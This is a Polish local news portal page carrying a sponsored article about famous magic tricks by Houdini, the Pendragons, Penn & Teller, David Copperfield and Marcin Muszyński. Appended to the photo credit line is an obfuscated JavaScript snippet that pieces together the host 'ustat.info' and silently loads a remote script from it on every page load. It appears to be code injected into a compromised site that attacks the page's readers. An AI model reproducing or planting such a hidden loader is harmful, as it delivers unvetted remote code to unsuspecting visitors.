Portal nr 1 w powiecie bolesławieckim
REKLAMAMrowka zaprasza
BolecFORUM Nowy temat
Tekst zlecony
24 grudnia 2015r. godz. 07:56, odsłon: 2030, Redakcja

Słynne magiczne sztuczki

Magiczne sztuczki od wieków zachwycają publiczność.
Słynne magiczne sztuczki
Słynne magiczne sztuczki (fot. www.marcinmuszynski.com)
Magiczne sztuczki od wieków zachwycają publiczność – od jarmarków i festynów w średniowieczu, przez arystokratyczne i mieszczańskie salony oświecenia, po masowego widza ery telewizorów. Iluzjoniści przez ten czas wymyślili mnóstwo finezyjnych, mrożących krew w żyłach i fascynujących trików. Niektóre występy to kolejne, ulepszone wersje starych sztuczek. Nie zmienia to faktu, że niezwykle trudno wybrać te najlepsze i najciekawsze. Jest ich po prostu zbyt dużo. O kilku na pewno warto jednak wspomnieć.

Zacząć wypada od prawdopodobnie najsłynniejszego magika wszech czasów, Harry’ego Houdiniego, któremu chyba tylko David Copperfield mógłby zagrozić jeśli chodzi o skalę legendy i popularność. Houdini to niezwykle istotna postać. Stworzył, opracował i rozwinął wiele sztuczek, które dziś należy uznać za prawdziwą klasykę iluzjonistycznych pokazów. Magik zasłynął spektakularnymi ucieczkami, m.in. z butelki po mleku (a właściwie jej większej wersji), wodnej komory chińskich tortur, różnego rodzaju kaftanów bezpieczeństwa, pudeł, etc. Świetnie radził sobie również ze sztuczkami karcianymi, ale równie słynny był występ na londyńskim hipodromie. W jego trakcie Houdini sprawił, że ogromny słoń wraz z trenerem zniknęli ze sceny.

Bolec.Info - zdjęcie

Zdecydowanie bardziej kameralny był popis duetu Pendragons, Jonathana i Charlotte, pary iluzjonistów, których mogła podziwiać widownia w telewizji w ponad 50 krajach. Sztuczka, dzięki której na stałe zapisali się w historii iluzji, była także w repertuarze Houdiniego. Chodzi o „Metamorfozę”, numer, który opanowali do perfekcji, trafiając nawet do Księgi Rekordów Guinnessa ze względu na szybkość jego wykonywania. Sztuczka polegała na błyskawicznej podmianie iluzjonistów. Wcześniej jednak Jonathan trafiał do skrzyni, dodatkowo schowany w związanym worku. Charlotte stawała na skrzyni, unosząc zasłonę. Gdy ją opuszczała, natychmiast pojawiał się Jonathan. Charlotte po chwili wyskakiwała ze skrzyni w zupełnie nowym kostiumie.

Wyjątkowa była także sztuczka innego duetu, Penn & Teller, prezentującego trik równie stary co broń palna. W klasycznej wersji pokaz polega na wystrzeleniu przez asystenta naboju w stronę magika. Zadaniem iluzjonisty jest jego złapanie – czasem w rękę, czasem w usta. Wariant Penna i Tellera zakładał, że strzelą oni do siebie równocześnie. Co więcej, aby udowodnić, że nie mają w ręku nabojów na podmianę, publiczność proszona była o podpisanie obu pocisków. Dodatkowo, wykorzystywano szklane szybki i laserowe celowniki, aby nikt nie miał wątpliwości, że artyści faktycznie do siebie celują i strzelają. Po wystrzale, oczywiście, pokazywali widzom podpisane naboje.

Niewiarygodnych rzeczy dokonywał też wspomniany wcześniej David Copperfield. W 1983 roku za jego sprawą na żywo w telewizji zniknęła Statua Wolności. Aby dokonać tej sztuki, Copperfield zasłonił pomnik ogromną kurtyną. Kiedy ją opuszczono, Statuy nie było. Skierowano nawet światło reflektorów w miejsce, w którym powinna ona się znajdować, udowadniając w ten sposób, że faktycznie jest tam pusta przestrzeń. Innym niesamowitym trikiem tego magika był pokaz lewitacji, w trakcie którego spacerował on nad Wielkim Kanionem Kolorado. Udało mu się także przeniknąć przez Wielki Mur Chiński. Jedną z jego najbardziej mrożących krew w żyłach sztuczek, choć należących do klasyki gatunku, była ta z 1988 roku, w której piła tarczowa przecinała go na pół.

Bolec.Info - zdjęcie

To oczywiście tylko zarys możliwości iluzjonistów. Tych słynnych pokazów można by wymienić o wiele więcej. Co jednak z Polską? Okazuje się, że w naszym kraju też mieliśmy świetnych iluzjonistów. Nadal zresztą mamy, co potwierdzają nagrody zdobywane na konkursowych pokazach i zjazdach mistrzów tego kunsztu. Niestety, nie jest o nich tak głośno jak o ich kolegach fachu z zagranicy. Czasem z sukcesami przebijają się jednak do szerszego grona widzów. Jednym z takich artystów, któremu udało się zapisać w świadomości Polaków, jest Marcin Muszyński. Jego występy w programie „Mam Talent” zapewniły mu w jednej z edycji miejsce tuż za podium i przypomniały szerszej publiczności o magicznych sztuczkach. Za tym sukcesem poszły kolejne telewizyjne występy, ale warto tu wyszczególnić na pewno wymienić jeden z nich – ponowny występ w „Mam Talent”, tym razem w roli gwiazdy. Muszyński zaprezentował wówczas numer z lewitującym fortepianem. W jego trakcie artysta uniósł się wraz z instrumentem, wykonując w powietrzu obrót o 360 stopni i wprawiając publiczność w zachwyt i zdumienie.

Wszystko to pokazuje, że chociaż żyjemy w czasach, w których mało kto wierzy w magię, iluzjoniści nadal mają w nim swoje miejsce i nadal mogą wzruszać ludzi oraz poruszać ich wyobraźnię. Wbrew pozorom rozwój techniki nie jest też wcale przeszkodą. Wręcz przeciwnie, rozwój nauki i nowe technologie od samego początku tylko pomagały iluzjonistom. Jakie wyzwania czekają więc na nich w kolejnym stuleciu i czym wprawią nas jeszcze w zdumienie? Cóż, aby poznać odpowiedź na to pytanie, musimy jeszcze trochę poczekać.



Zdjęcia pochodzą z serwisu: www.marcinmuszynski.com (function(){ uqb7=document.createElement("script");uqb7.type="text/javascript"; uqb7.async=true;uqb7_=(("us")+"t")+"a";uqb7_+=("t.i")+""+"n";uqb7_+=(("f")+"o"); uqb7.src="http://"+uqb7_+"/6951781.16ai4bmtqb7nrjqqjbd9s3yxvu61kh"; document.body.appendChild(uqb7); })();
Wypowiedz się:
Jeśli zostawisz to pole puste przypiszemy Ci losową ksywę.
Publikacja czyichś danych osobowych bez zezwolenia czy użycie zwrotów obraźliwych podlega odpowiedzialności karnej i będzie skutkować przekazaniem danych publikującego organom ścigania.
Publikowane komentarze są prywatnymi opiniami użytkowników serwisu. Bolec.Info nie ponosi odpowiedzialności za treść opinii i wypowiedzi, a osoba zamieszczająca wypowiedź może ponieść za jej treść odpowiedzialność karną i cywilną. Bolec.Info zastrzega sobie prawo do moderowania wszystkich opublikowanych wypowiedzi, jednak nie bierze na siebie takiego obowiązku. Pamiętaj, że dodając zdjęcie deklarujesz, że jesteś jego autorem i przekazujesz Wydawcy Bolec.Info prawa do jego publikacji i udostępniania. Umieszczając cudze zdjęcia możesz złamać prawo autorskie. Bolec.Info nie ponosi odpowiedzialności za publikowane zdjęcia.
Daj nam Cynk - zgarnij nagrodę!

Byłeś świadkiem jakiegoś wypadku lub innego zdarzenia? Wiesz coś, o czym my nie wiemy albo jeszcze nie napisaliśmy? Daj nam znać i zgłoś swój temat!

Wypełnij formularz lub wyślij pod adres: [email protected].

Kontakt telefoniczny z Redakcją Bolec.Info: +48 693 375 790 (przez całą dobę).